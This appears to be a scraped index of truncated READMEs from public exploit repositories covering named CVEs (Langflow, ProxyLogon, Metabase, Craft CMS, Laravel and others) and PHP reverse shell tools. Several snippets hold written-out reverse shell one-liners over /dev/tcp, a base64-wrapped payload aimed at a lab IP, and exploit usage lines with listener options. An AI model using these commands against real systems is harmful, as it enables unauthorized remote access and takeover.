php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ Important read first This repository contains a Java proof-of-concept PoC intended for CTF / lab use only. Do not run this code against systems you do not own or do not have explicit written permission to test. Unauthorized exploitation is illegal. Use only in isolated...

CVE-2025-3248

CVE-2025-3248 Remote Code Execution using vulnerable API endpoint Proof of Concept. Info: ⚠️ Use this at your own risk! ❓ Added option to reverse shell. ✅ Auto retry if validatecode is off. Showcase Usage python CVE-2025-3248.py / python3 CVE-2025-3248.py Footprint By using this tool, you agree...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

CVE-2019-7609

CVE-2019-7609 Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing...

RCE-CVE-2025-3248

Authenticated CVE-2025-3248 Langflow Remote Code Execution This Python script exploits CVE-2025-3248 to execute arbitrary commands or spawn a reverse shell on a vulnerable system. Authentication is required to use this exploit. Features Authenticated Command Execution: Run arbitrary system comman...

Penetration-Testing-on-Metasploitable2

Internship Project 2 — Penetration Testing on Metasploitable2 Summary: This project demonstrates a complete penetration testing workflow: reconnaissance, enumeration, exploitation, post-exploitation validation, and mitigation recommendations. The target used is Metasploitable2 and the attack box ...

cve-2010-4221

cve-2010-4221 This exploit was written to study some concepts, enjoy! Usage Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Just type the target IP, PORT and t...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 reverse shell upload Exploit for WpDiscuz 7.0.4 based on the the exploit written by h3v0x. Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

Larascript

| | | | | | / || '| / |/ | / || '|| || ' \ | | | | | | || | | | |\ | | | | || | || | || ,||| ,||/ ||| ||| ./ | || Authors: @pwnedshell & @rsgbengi 📌 What its Larascript? Larascript is a script which take advantage from CVE-2018-15133 and can execute remote commands if a vulnerable Laravel app...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by clicking on our...

ProxyLogon-CVE-2021-26855

CVE-2021-26855 This is a modified version of a POC for proxylogon. Instead of laucnhing "whoami" it creates a new user and adds that user to the administrator group and creates a reverse shell. The origonal POC code can be found here: https://www.exploit-db.com/exploits/49663 Usage: python...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell run command go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port note when you input the target host , please do not forget the http:// or https://...

php-reverse-shell

PHP Reverse Shell Just a little refresh on the popular PHP reverse shell script pentestmonkey/php-reverse-shell. Credits to the original author! Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Script will automatically detect the underlying OS. Works with both, ncat and...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

PHP-REVERSE-SHELL

PHP Reverse Shell Powerful & Stealthy This is a powerful and stealthy PHP reverse shell designed for ethical hacking and penetration testing. It establishes a reliable and quiet connection back to your machine. ⚠️ Disclaimer This PHP reverse shell is developed strictly for educational and...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 This repository contains Detailed explanation and working poc for Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution. Configuration: Create a netcat listner. nc -lnvp 1234 Change the attacker ip to your ip and port. Also create a...

CVE-2024-21546

CVE-2024-21546 Python Exploit 🔥 Description This Python exploit script targets a vulnerable Laravel Filemanager created by UniSharp , which allows authenticated users to bypass file restrictions and upload malicious files. This can lead to Remote Code Execution RCE when the uploaded payload is...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality. ⚠️ This tool is intended for security...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit Description Python script for exploiting CVE-2024-0039: arbitrary code execution on vulnerable Android devices. WARNING : This code is intended for educational and constructive purposes only, on the side of good, so to speak! Usage Run the script with the necessary arguments...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 Exploit for CVE:2010-2075. This exploit allows remote command execution in UnrealIRCd 3.2.8.1. Requirements optparse, signal Usage You can send a command to execute, but there will be times when it will not respond, but you can simply send a reverse shell and wait for it to arrive...